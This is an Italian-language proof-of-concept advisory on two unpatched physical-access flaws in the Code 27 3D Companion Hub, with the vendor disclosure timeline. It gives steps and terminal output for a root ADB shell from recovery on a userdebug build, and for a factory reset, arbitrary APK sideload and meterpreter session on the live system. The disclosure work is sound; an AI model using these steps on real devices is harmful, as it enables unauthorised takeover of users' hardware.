
Proof of concept per CVE-2026-36027 e CVE-2026-36028
Il Code 27 3D Companion Hub è un dispositivo fisico da scrivania che renderizza un personaggio AI personalizzato (un "Codie") come compagno 3D animato. Gli utenti possono caricare o creare qualsiasi modello 3D e l'AI multimodale consente al personaggio di vedere l'ambiente circostante, leggere il tono e il linguaggio del corpo e intrattenere conversazioni aperte.
Questo documento tratta due vulnerabilità che richiedono l'accesso fisico al dispositivo. Entrambe sono state validate sulla build indicata di seguito e, al momento della pubblicazione, non sono ancora state corrette.
| Campo | Valore |
|---|---|
| Prodotto | Code 27 3D Companion Hub |
| Versione UI Companion Hub | 1.2.0 |
| SoC / scheda | Rockchip RK3588S (rk3588s_yt921) |
| Sistema operativo | Android 12 |
| ID build | SQ3A.220705.003.A1 |
| Fingerprint completa | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| Tipo di build | userdebug / release-keys |
Il firmware fornito in dotazione è una build userdebug (visibile nel banner di recovery e in ro.build.display.id). Le build userdebug consentono di riavviare adbd come root tramite adb root, un elemento chiave che rende possibile l'esistenza di CVE-2026-36027.
Un attaccante fisicamente vicino al dispositivo può avviare il Companion Hub in Android recovery e ottenere una shell ADB con privilegi di root (uid=0, contesto SELinux u:r:su:s0). Poiché il dispositivo viene fornito con una build userdebug, adbd può essere riavviato come root con adb root, offrendo all'attaccante l'interazione in lettura/scrittura con l'ambiente di recovery, la possibilità di enumerare le proprietà di build e hardware e l'accesso alle funzioni di recovery (sideload, fastboot, operazioni sulle partizioni).
L'accesso ottenuto è all'interno del ramdisk di recovery, non nel runtime Android attivo. Nei test, l'azione Mount /system della recovery falliva (libfs_mgr non poteva aprire /dev/block/by-name/system), quindi la partizione di sistema non veniva montata direttamente tramite questo percorso e l'ambiente utente avviato, con il kiosk e gli eventuali dati utente decifrati, non è presente in questa modalità.
Questo è comunque rilevante perché l'accesso root all'ambiente di recovery è il fondamento per modificare lo stato persistente del dispositivo (ad esempio, scrivendo sulle partizioni o applicando un pacchetto di aggiornamento creato ad hoc) in modo che un codice controllato dall'attaccante possa essere eseguito a un successivo avvio normale, stabilendo un punto d'appoggio sul dispositivo attivo.
Mount /system, evidenziarlo e confermare. Sembrerà che fallisca. È un comportamento previsto e l'exploit funziona comunque. (Il log di recovery mostra libfs_mgr che non riesce ad aprire /dev/block/by-name/system.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
# ls -la
total 840
drwxrwxrwt 33 root root 1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
1970-01-01 00:00 .
drwxrwxrwt 33 root root 1040 1970-01-01 00:00 ..
drwxr-xr-x 2 root root 40 1970-01-01 00:00 acct
drwxr-xr-x 2 root root 40 1970-01-01 00:00 apex
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx 1 root root 50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x 2 root root 40 1970-01-01 00:00 cache
drwxr-xr-x 3 root root 0 1970-01-01 00:00 config
lrwxrwxrwx 1 root root 17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data_mirror
drwxr-xr-x 2 root root 40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx 1 root root 12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x 15 root root 1380 1970-01-01 00:00 dev
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx 1 root root 16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x--- 1 root root 662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x 2 root root 60 1970-01-01 00:00 linkerconfig
drwxr-xr-x 12 root root 4096 1970-01-01 00:00 metadata
drwxr-xr-x 8 root system 160 1970-01-01 00:00 mnt
drwxr-xr-x 2 root root 240 1970-01-01 00:00 odm
drwxr-xr-x 2 root root 60 1970-01-01 00:00 odm_dlkm
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 oem
drwxr-xr-x 3 root root 260 1970-01-01 00:00 pcba
-rw-r--r-- 1 root root 47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r-- 1 root root 76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root 0 1970-01-01 00:00 proc
drwxr-xr-x 2 root root 40 1970-01-01 00:00 product
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_property_contexts
-rw-r--r-- 1 root root 14023 1970-01-01 00:00 prop.default
drwxr-xr-x 3 root root 60 1970-01-01 00:00 res
drwx------ 2 root root 40 2026-02-03 06:23 root
drwxr-xr-x 2 root root 60 1970-01-01 00:00 sbin
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sdcard
drwxr-xr-x 2 root root 40 1970-01-01 00:00 second_stage_resources
-rw-r--r-- 1 root root 658375 1970-01-01 00:00 sepolicy
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sideload
drwxr-x--x 2 root root 40 1970-01-01 00:00 storage
dr-xr-xr-x 14 root root 0 1970-01-01 00:00 sys
drwxr-xr-x 5 root root 100 1970-01-01 00:00 system
drwxr-xr-x 2 root root 40 1970-01-01 00:00 system_ext
-rw-r--r-- 1 root root 177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r-- 1 root root 1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x 2 root shell 40 1970-01-01 00:00 tmp
drwxr-xr-x 3 root root 60 1970-01-01 00:00 vendor
drwxr-xr-x 2 root root 60 1970-01-01 00:00 vendor_dlkm
-rw-r--r-- 1 root root 25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r-- 1 root root 4395 1970-01-01 00:00 vendor_property_contexts
Un ripristino di fabbrica eseguito dal menu di recovery cancella la partizione userdata, dove sono installate le applicazioni del kiosk. Poiché il kiosk non fa parte della partizione di sistema, non viene ripristinato al riavvio e il dispositivo si avvia in un ambiente Android standard e senza restrizioni (launcher, browser web, gestore file, impostazioni e altre app di sistema).
Da questo ambiente senza restrizioni, un attaccante può riattivare le opzioni sviluppatore / il debug USB, eseguire il sideload di un APK arbitrario ed eseguirlo per ottenere una shell sul sistema operativo attivo. Nei test, questo ha prodotto una sessione meterpreter eseguita come utente applicativo non privilegiato u0_a79 - un contesto di privilegi e dati diverso rispetto alla shell root della modalità recovery di CVE-2026-36027, perché opera sul sistema operativo attivo e avviato piuttosto che sul ramdisk di recovery. Il codice inserito ed eseguito in questo stato opera come parte del normale funzionamento del dispositivo, offrendo all'attaccante il controllo interattivo del dispositivo e del suo filesystem accessibile all'utente.
Wipe data/factory reset e confermare la cancellazione.
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500
meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 acct
040554/r-xr-xr-- 480 dir 1969-12-31 19:00:03 -0500 apex
040110/--x--x--- 8192 dir 2008-12-31 19:00:00 -0500 bin
000000/--------- 0 fif 1969-12-31 19:00:00 -0500 bugreports
040000/--------- 4096 dir 1969-12-31 19:00:04 -0500 cache
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 config
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 d
040110/--x--x--- 4096 dir 2026-02-03 01:27:34 -0500 data
040000/--------- 120 dir 1969-12-31 19:00:04 -0500 data_mirror
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 debug_ramdisk
040554/r-xr-xr-- 1760 dir 2026-02-03 01:27:34 -0500 dev
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 etc
100554/r-xr-xr-- 1997584 fil 2008-12-31 19:00:00 -0500 init
100000/--------- 463 fil 2008-12-31 19:00:00 -0500 init.environ.rc
040554/r-xr-xr-- 240 dir 1969-12-31 19:00:03 -0500 linkerconfig
040000/--------- 16384 dir 2008-12-31 19:00:00 -0500 lost+found
040554/r-xr-xr-- 4096 dir 1969-12-31 19:00:04 -0500 metadata
040554/r-xr-xr-- 360 dir 1969-12-31 19:00:05 -0500 mnt
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm_dlkm
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 oem
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 postinstall
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 proc
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 product
040776/rwxrwxrw- 3452 dir 2026-02-03 01:27:39 -0500 sdcard
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 second_stage_resources
040110/--x--x--- 80 dir 1969-12-31 19:00:04 -0500 storage
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 sys
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 system
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 system_ext
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 vendor
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 vendor_dlkm
| Data | Evento |
|---|
| 2026-02-17 | Entrambe le vulnerabilità divulgate al team Code 27 e confermate. |
| 2026-02-17 | Entrambe le vulnerabilità zero-day segnalate a MITRE. |
| 2026-02-18 | Il team Code 27 ha discusso un piano di risoluzione, raccolto informazioni aggiuntive e dichiarato che il problema sarebbe stato risolto. |
| 2026-06-15 | MITRE assegna CVE-2026-36027 e CVE-2026-36028. |
| 2026-06-15 | Code 27 informata dell'assegnazione; il contatto iniziale inoltra le informazioni al team di sicurezza per la revisione della build. |
| 2026-06-16 | Il team di sicurezza di Code 27 richiede nuovamente i dettagli tecnici completi. |
| 2026-06-17 | Dettagli tecnici completi forniti al team di sicurezza, nuovamente. |
| 2026-06-18 | Nessuna risposta dal team di sicurezza. |
| 2026-06-19 | Il rappresentante di Code 27 dichiara che alle aziende vengono solitamente concessi 90 giorni per risolvere i problemi di sicurezza e che il team di sicurezza ne è già a conoscenza. Al rappresentante viene comunicato che i problemi erano stati segnalati oltre 120 giorni prima. Viene fissata una scadenza per la divulgazione al 1° luglio. |
| 2026-06-25 | Contattato il team di sicurezza di Code 27 per confermare l'avviso finale sulla scadenza e sulla pubblicazione. |
| 2026-06-28 | Code 27 si scusa, conferma gli identificativi CVE e la scadenza per la divulgazione e dichiara che un advisory pubblico e un link verranno inviati prima del 1° luglio. |
| 2026-07-01 | Code 27 contattata per lo stato dell'advisory; nessuna risposta. |
| 2026-07-02 | Pubblicati i dettagli delle vulnerabilità non corrette. |